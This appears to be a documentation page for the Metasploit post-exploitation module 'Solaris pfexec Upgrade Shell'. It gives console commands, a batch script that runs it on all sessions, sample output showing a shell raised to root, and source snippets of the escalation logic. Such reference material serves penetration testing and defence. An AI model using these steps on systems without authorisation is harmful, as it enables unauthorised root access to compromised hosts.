Solaris pfexec Upgrade Shell - Metasploit

This page contains detailed information about how to use the post/solaris/escalate/pfexec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Solaris pfexec Upgrade Shell
Module: post/solaris/escalate/pfexec
Source code: modules/post/solaris/escalate/pfexec.rb
Disclosure date: -
Last modification time: 2019-02-01 22:58:21 +0000
Supported architecture(s): -
Supported platform(s): Solaris
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module attempts to upgrade a shell session to UID 0 using pfexec.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/solaris/escalate/pfexec

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/solaris/escalate/pfexec
msf post(pfexec) > show options
    ... show and set options ...
msf post(pfexec) > set SESSION session-id
msf post(pfexec) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:

framework.sessions.each_pair do |sid, session|
  run_single("use post/solaris/escalate/pfexec")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

• SESSION: The session to run this module on.

Knowledge Base

  msf5 > use post/solaris/escalate/pfexec 
  msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id
  [*] Running 'id' on shell session 1 (172.16.191.221)
  uid=100(user) gid=10(staff)

  msf5 post(solaris/escalate/pfexec) > set verbose true
  verbose => true
  msf5 post(solaris/escalate/pfexec) > set session 1
  session => 1
  msf5 post(solaris/escalate/pfexec) > run

  [*] Trying pfexec as `user' ...
  [*] uid=0(root) gid=0(root)
  [+] Success! Upgrading session ...
  [+] Success! root shell secured
  [*] Post module execution completed
  msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id
  [*] Running 'id' on shell session 1 (172.16.191.221)
  uid=0(root) gid=0(root)

  msf5 post(solaris/escalate/pfexec) > 

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Msfconsole Usage

Here is how the solaris/escalate/pfexec post exploitation module looks in the msfconsole:

msf6 > use post/solaris/escalate/pfexec

msf6 post(solaris/escalate/pfexec) > show info

       Name: Solaris pfexec Upgrade Shell
     Module: post/solaris/escalate/pfexec
   Platform: Solaris
       Arch: 
       Rank: Normal

Provided by:
  bcoles <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  PFEXEC_PATH  /usr/bin/pfexec  yes       Path to pfexec
  SESSION                       yes       The session to run this module on.
  SHELL_PATH   /bin/sh          yes       Path to shell

Description:
  This module attempts to upgrade a shell session to UID 0 using 
  pfexec.

References:
  https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html
  http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html
  http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec

Module Options

This is a complete list of options available in the solaris/escalate/pfexec post exploitation module:

msf6 post(solaris/escalate/pfexec) > show options

Module options (post/solaris/escalate/pfexec):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PFEXEC_PATH  /usr/bin/pfexec  yes       Path to pfexec
   SESSION                       yes       The session to run this module on.
   SHELL_PATH   /bin/sh          yes       Path to shell

Advanced Options

Here is a complete list of advanced options supported by the solaris/escalate/pfexec post exploitation module:

msf6 post(solaris/escalate/pfexec) > show advanced

Module advanced options (post/solaris/escalate/pfexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the solaris/escalate/pfexec module can do:

msf6 post(solaris/escalate/pfexec) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the solaris/escalate/pfexec post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(solaris/escalate/pfexec) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module is not compatible with <SESSION.TYPE> sessions

Here is a relevant code snippet related to the "This module is not compatible with <SESSION.TYPE> sessions" error message:

39:	    datastore['PFEXEC_PATH'].to_s
40:	  end
41:	
42:	  def run
43:	    unless session.type == 'shell'
44:	      fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
45:	    end
46:	
47:	    if is_root?
48:	      fail_with Failure::BadConfig, 'Session already has root privileges'
49:	    end

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

43:	    unless session.type == 'shell'
44:	      fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
45:	    end
46:	
47:	    if is_root?
48:	      fail_with Failure::BadConfig, 'Session already has root privileges'
49:	    end
50:	
51:	    unless command_exists? pfexec_path
52:	      fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
53:	    end

<PFEXEC_PATH> does not exist

Here is a relevant code snippet related to the "<PFEXEC_PATH> does not exist" error message:

47:	    if is_root?
48:	      fail_with Failure::BadConfig, 'Session already has root privileges'
49:	    end
50:	
51:	    unless command_exists? pfexec_path
52:	      fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
53:	    end
54:	
55:	    user = cmd_exec('id -un').to_s
56:	
57:	    print_status "Trying pfexec as `#{user}' ..."

User `<USER>' does not have permission to escalate with pfexec

Here is a relevant code snippet related to the "User `<USER>' does not have permission to escalate with pfexec" error message:

58:	
59:	    res = cmd_exec "#{pfexec_path} #{shell_path} -c id"
60:	    vprint_status res
61:	
62:	    unless res.include? 'uid=0'
63:	      fail_with Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec"
64:	    end
65:	
66:	    print_good 'Success! Upgrading session ...'
67:	
68:	    cmd_exec "#{pfexec_path} #{shell_path}"

Failed to escalate

Here is a relevant code snippet related to the "Failed to escalate" error message:

66:	    print_good 'Success! Upgrading session ...'
67:	
68:	    cmd_exec "#{pfexec_path} #{shell_path}"
69:	
70:	    unless is_root?
71:	      fail_with Failure::NotVulnerable, 'Failed to escalate'
72:	    end
73:	
74:	    print_good 'Success! root shell secured'
75:	    report_note(
76:	      :host => session,

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Related Pull Requests

• #11345 Merged Pull Request: Add Solaris pfexec Upgrade Shell module

References

• CVE: Not available
• https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html
• http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html
• http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec

See Also

Check also the following modules related to this module:

• auxiliary/admin/sunrpc/solaris_kcms_readfile
• auxiliary/dos/solaris/lpd/cascade_delete
• exploit/solaris/dtspcd/heap_noir
• exploit/solaris/local/extremeparr_dtappgather_priv_esc
• exploit/solaris/local/libnspr_nspr_log_file_priv_esc
• exploit/solaris/local/rsh_stack_clash_priv_esc
• exploit/solaris/local/xscreensaver_log_priv_esc
• exploit/solaris/lpd/sendmail_exec
• exploit/solaris/samba/lsa_transnames_heap
• exploit/solaris/samba/trans2open
• exploit/solaris/ssh/pam_username_bof
• exploit/solaris/sunrpc/sadmind_adm_build_path
• exploit/solaris/sunrpc/sadmind_exec
• exploit/solaris/sunrpc/ypupdated_exec
• exploit/solaris/telnet/fuser
• exploit/solaris/telnet/ttyprompt
• payload/solaris/sparc/shell_bind_tcp
• payload/solaris/sparc/shell_find_port
• payload/solaris/sparc/shell_reverse_tcp
• payload/solaris/x86/shell_bind_tcp
• payload/solaris/x86/shell_find_port
• payload/solaris/x86/shell_reverse_tcp
• post/solaris/escalate/srsexec_readline
• post/solaris/gather/checkvm
• post/solaris/gather/enum_packages
• post/solaris/gather/enum_services
• post/solaris/gather/hashdump

Authors

• bcoles

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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